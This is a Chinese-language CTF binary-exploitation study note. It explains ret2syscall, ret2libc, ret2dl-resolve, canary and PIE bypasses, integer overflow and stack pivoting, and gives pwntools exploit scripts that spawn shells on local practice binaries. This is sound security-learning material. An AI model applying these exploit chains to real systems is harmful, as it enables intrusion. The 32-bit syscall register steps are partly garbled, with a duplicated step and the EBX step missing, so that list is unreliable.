ret2syscall
Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数
应用程序调用系统调用的过程是:
1、把系统调用的编号存入 EAX
2、把函数参数存入其它通用寄存器
3、触发 0x80 号中断(int 0x80)
在32位下:
1.将EAX寄存器的值设置为OXb:EAX = OXb
3.将ECX和EDX寄存器的值都设为O: ECX = EDx = 0
3.将ECX和EDX寄存器的值都设为O: ECX = EDx = o
64位下:
1.将RAX寄存器的值设置为0×3b:RAX = OX3b
2.将RDI寄存器的值设置为”/bin/sh”字符串的地址:RDI = &(“ /bin/sh”)
3.将RSI和RDX寄存器的值都设为0: RSI = RDX = o
只需要让栈顶的值 然后可以通过 pop eax 达到目的
例(CTFwiki):

计算偏移

运用ropper 查找int 0x80系统调用
1
| ropper -f ret2syscall --search "int 0x80"
|

运用ropper 查找其他寄存器
1
| ropper -f ret2syscall --search "pop|ret"| grep 'eax'
|

其他类推
在IDA找到bin/sh的地址
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh', '-c'] p = process("./ret2syscall")
if args.G: gdb.attach(p) pop_eax_ret = 0x080bb196 pop_ebx_ret = 0x080481c9 pop_ecx_ebx_ret = 0x0806eb91 pop_edx_ecx_ebx_ret = 0x0806eb90 pop_edx_ret = 0x0806eb6a int_0x80 = 0x08049421 bin_sh_addr = 0x80be408
p.recvuntil("What do you plan to do?\n")
payload = b"a"*112 + p32(pop_eax_ret) payload += p32(0xb) + p32(pop_edx_ecx_ebx_ret) payload += p32(0) + p32(0) + p32(bin_sh_addr) payload += p32(int_0x80)
p.sendline(payload) p.interactive()
|
ret2libc

例1:
在ida找到bin/sh字符串地址
查找到system函数存在地址

1 2 3 4 5 6
| from pwn import * p = process("./ret2libc1") p.recvuntil("RET2LIBC >_<\n") payload = b"a"*112 + p32(0x8048460) + b"xxxx" + p32(0x8048720) p.sendline(payload) p.interactive()
|
例2
没有system函数。也没有binsh字符串
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
https://github.com/niklasb/libc-database
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
基本利用思路如下
- 泄露 puts函数 地址
- 获取 libc 版本
- 获取 system 地址与 /bin/sh 的地址
- 再次执行源程序
- 触发栈溢出执行 system(‘/bin/sh’)
单步运行过puts函数,查询got表

通过vmmap找到对应libc的基地址,并且计算偏移

再计算system函数的偏移

然后searh “bin/sh”的地址,再计算bin/sh1的偏移

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh', '-c'] p = process("./ret2libc2") if args.G: gdb.attach(p)
gets_plt = 0x8048440 puts_plt = 0x8048460 main_addr = 0x8048618 puts_got = 0x804a018
p.recvuntil("Can you find it !?") payload = b"a"*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload)
puts_addr = u32(p.recv(4)) libc_addr = puts_addr - 0x6dc30 system_addr = libc_addr + 0x41790 bin_sh_addr = libc_addr + 0x18e363 success("puts_addr: " + hex(puts_addr)) success("system_addr: " + hex(system_addr)) success("bin_sh_addr: " + hex(bin_sh_addr))
p.recvuntil("Can you find it !?") payload1 = b"a"*104 + p32(system_addr) + b"xxxx" + p32(bin_sh_addr)
p.sendline(payload1) ''' sleep(0.2) p.sendline("/bin/sh\x00") ''' p.interactive()
|
ret2dl

ELF关于动态链接的关键segment:
.dynamic:一般保存了ELF文件依赖于哪些动态库,动态符号节信息;


各segment的位置关系:
.dynamic的地址加Ox44的位置是.
dynstr;.dynamic的地址加Ox4c的位置是.
dynsym;.dynamic的地址加Ox84的位置是.rel.plt;
第一次调用一个函数时_dl_runtime_resolve函数的工作: _dl_runtime resolve(link map_obj, reloc index):
1.首先用link_map访问.dynamic,分别取出.dynstr、.dynsym、.rel.plt的地址;
2..rel.plt +参数reloc_index,求出当前函数的重定位表项Elf32_Rel的指针,记作rel;
3.rel->r_info > >8= n作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym;4..dynstr + sym->st_name得出符号名字符串指针;
5.在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表;
6.最后调用这个函数;

例题:

思路:

exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] name = './pwn' p = process(name)
elf= ELF(name)
if args.G: gdb.attach(p) rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr resolve_plt = 0x08048380 leave_ret_addr = 0x0804851d start = 0x804aa00
fake_rel_plt_addr = start fake_dynsym_addr = fake_rel_plt_addr + 0x8 fake_dynstr_addr = fake_dynsym_addr + 0x10 bin_sh_addr = fake_dynstr_addr + 0x7
n = fake_rel_plt_addr - rel_plt_addr r_info = (int((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7 str_offset = fake_dynstr_addr - dynstr_addr
fake_rel_plt = p32(elf.got['read']) + p32(r_info) fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000) fake_dynstr = b"system\x00/bin/sh\x00\x00"
pay1 = b'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100) p.recvuntil('Welcome to RET_TO_DL~!\n')
p.sendline(pay1) sleep(1) pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + b'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr p.sendline(pay2)
success(".rel_plt: " + hex(rel_plt_addr)) success(".dynsym: " + hex(dynsym_addr)) success(".dynstr: " + hex(dynstr_addr)) success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr)) success("fake_dynsym_addr: " + hex(fake_dynsym_addr)) success("fake_dynstr_addr: " + hex(fake_dynstr_addr)) success("n: " + hex(n)) success("r_info: " + hex(r_info)) success("offset: " + hex(str_offset)) success("system_addr: " + hex(fake_dynstr_addr)) success("bss_addr: " + hex(elf.bss())) p.interactive()
|
击败cancary
基本原理
函数开始执行的时候会先往栈底插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法(栈帧销毁前测试该值是否被改
变),如果不合法就停止程序运行(发生了栈溢出);
在Linux当中我们将这段cookie信息称为Canary ,Canary是一个低字节为\x00的16进制数;
因为Canary在局部变量的后边,在EBP或RBP的前面所以当攻击者覆盖返回地址的时候往往也会将cookie信息给覆盖掉,这就会导致栈保护检查失败而阻止payload的执行,从而避免漏洞利用成功.


绕过方法
方法一:泄露栈中的Canary:
Canary设计为以字节×O0O结尾,其本意就是为了保证Canary 可以截断字符串,防止我们输出字符串的时候将Canary打印出来;所以泄露栈中的Canary的思路是将Canary的低字节\x00覆盖,然后连同用户的字符串一起打印出剩余的Canary部分;
当我们打印出完整的Canary后,在溢出的时候再将正确Canary填回去,就可以进行控制返回地址,控制程序流程了.
条件:
1.有合适的输出函数
2.泄露Canary后程序不会崩溃
例题:


exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import *
context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
name = './pwn1' p = process(name) elf = ELF(name) if args.G: gdb.attach(p)
p.recvuntil("Welcome!\n")
payload = "a"*28 + "b"*4 p.sendline(payload) p.recvuntil("bbbb") canary = u32(p.recv(4)) - 0xa success("canary: " + hex(canary))
getshell_addr = 0x804858b payload1 = b"a"*32 + p32(canary) + b"b"*12 + p32(getshell_addr) p.sendline(payload1)
p.interactive()
|
方法二:爆破Canary:
对于Canary,虽然每次进程重启后的Canary 不同(相比GS,GS重启后是相同的)但是同一个进程中的不同线程的Canary 是相同的,并且通过fork函数创建的子进程的Canary也是相同的,因为fork函数会直接拷贝父进程的内存。
我们可以利用这样的特点,彻底逐个字节将Canary爆破出来.
缺点:多进程程序,32位程序需要爆破3字节,64位程序需要爆破7字节,需要爆破较多.
其他方法: 1.联合其他漏洞修改劫持_stack_chk_fail函数;
例题:


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * name = './pwn2' p = process(name) elf = ELF(name)
p.recvuntil('welcome\n')
canary = '\x00' for i in range(3): print(hex(i)) for j in range(256): print(hex(j)) p.send('a'*100 + canary + chr(j)) a = p.recvuntil("welcome\n") if b"recv" in a: canary += chr(j) break
canary = u32(canary) success("canary: " + hex(canary)) getflag = 0x0804863B payload = b'a'*100 + p32(canary) + b'a'*12 + p32(getflag) p.sendline(payload)
p.interactive()
|
PIE绕过:
position-independent executable,地址无关可执行文件,该技术就是一个针对代码段.text,数据段.*data,.bss等固定地址的一个防护技术应用了PIE的程序会在每次加载时都变换加载基址,从而使ropper等工具无法得到准确的地址.
方法一: Partial Write
部分写入技术,由于内存的页载入机制,PIE的随机化只能影响到单个内存页;通常来说,一个内存页大小为Ox1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的就是利用了PIE后12位地址不变的特点,通过覆盖EIP的后8或16位(按字节写入每字节8位)就可以快速爆破或者直接劫持EIP;
特点:
1.程序不大,有后门函数等;
2.只需要爆破一个字节
例题



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * i = 0 while True: i += 1 print (i) if(i > 0xff): print("Wrong!") break io = process("./partial_write") io.recv() payload = 'a'*40 payload += '\xca' io.sendline(payload) io.recv() payload = 'a'*200 payload += '\x01\x39' io.sendline(payload) io.recv() try: io.recv(timeout = 1) except EOFError: io.close() continue else: sleep(0.1) io.sendline('/bin/sh\x00') sleep(0.1) io.interactive() break
|
方法二:直接泄露地址
因为PIE影响的只是程序加载基址,并不会影响指令间的相对地址,如果我们可以泄露出一个程序或ibc的某些地址,我们就可以利用地址
减去偏移地址得到基地址,从而算出其他函数的地址,这种方法也是我们最常用的方法.
通过泄露地址来计算libc基地址的时候需要注意的是libc版本不同,对应的偏移也不同.
例题:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import *
context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
name = './pwn1' p = process(name) elf = ELF(name) if args.G: gdb.attach(p)
p.recvuntil("Tell me your name:\n") payload = "a"*8 p.send(payload) p.recvuntil("a"*8) pro_addr = u64(p.recv(6) + b"\x00\x00") - 0x82d puts_got_addr = pro_addr + elf.got['puts'] puts_plt_addr = pro_addr + elf.plt['puts'] main_addr = pro_addr + elf.symbols['main'] success("pro_addr: " + hex(pro_addr)) success("puts_got_addr: " + hex(puts_got_addr)) success("puts_plt_addr: " + hex(puts_plt_addr)) success("main_addr: " + hex(main_addr))
p.recvuntil("What do you want to say?\n") pop_rdi_addr = pro_addr + 0x843 payload1 = b"a"*184 payload1 += p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) payload1 += p64(main_addr) p.sendline(payload1)
p.recvuntil("Bye!\n") libc_addr = u64(p.recv(6) + b"\x00\x00") - 0x68f90 system_addr = libc_addr + 0x3f480 bin_sh_addr = libc_addr + 0x1619d9 success("libc_addr: " + hex(libc_addr)) success("system_addr: " + hex(system_addr)) success("bin_sh_addr: " + hex(bin_sh_addr))
p.recvuntil("Tell me your name:\n") p.sendline("aaa")
p.recvuntil("What do you want to say?\n") payload2 = b"c"*184 payload2 += p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr) p.sendline(payload2)
p.interactive()
|
整数溢出:
类型一:未限制范围
这种情况主要是变量有固定大小的字节,但是却允许我们输入无限多的数据,和gets()函数产生的栈溢出很相似
类型二:错误的类型转换
正确的对变量进行了约束但是在类型转换上面出错了,范围大的变量赋值给范围小的变量
例题:


程序为dest分配了0x14字节的储存空间,而第二个read函数可以读取0x199个字节,这个地方存在栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * p = process("./int_over") payload = b"a"*24 + p32(0x804868b) payload += b"b"*(0x104 - len(payload)) p.recvuntil("Your choice:") p.sendline("1")
p.recvuntil("Please input your username:\n") p.sendline("sir")
p.recvuntil("Please input your passwd:\n") p.sendline(payload) p.interactive
|
栈迁移:
劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行ROP等操作;
通俗的讲其实就是将ESP或RSP指针修改为我们可以控制的内存区地址比如bss段堆等位置,然后在可控内存区当中布置payload等;
条件:
1.程序存在溢出;
2.可以控制sp指针;
用途:
1.栈益出可以溢出的空间大小不足
因为我们的主要思想是修改sp指针,所以我们需要通过一些汇编指令来修改sp指针,常用汇编指令:;
1.pop esp;
2.pop ecx; lea esp,[ecx-Ox4];
3.leave; ret; —> mov esp, ebp; pop ebp; ret;
需要注意的地方:
1.迁移过去的内存一定要可读可写;
⒉.迁移过去的内存要注意离不可读不可写的内存要远一些,因为调用一些函数的时候需要较大的栈空间;
3.我们构造的栈空间和程序的栈空间有相同的性质,即push,pop等操作对sp,bp指针的操作一样;
例题:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh', '-c'] p = process("./test1") if args.G: gdb.attach(p)
bin_sh_addr = 0x80495d0 system_plt = 0x8048370 read_plt = 0x8048340 leave_ret = 0x80484d5 pop3_ret = 0x080485a9 gadgets = 0x8048549 bss = 0x804a560
payload = p32(read_plt) + p32(pop3_ret) + p32(0) + p32(bss) + p32(100) payload += p32(gadgets) + p32(bss + 4) p.recvuntil("Hello,tell me your story:\n") p.sendline(payload)
payload1 = b"b"*10 + p32(0x804a060 + 4) p.recvuntil("By the way, what's your name:\n") p.sendline(payload1)
sleep(1) payload2 = p32(system_plt) + b"aaaa" + p32(bin_sh_addr) p.sendline(payload2) p.interactive()
|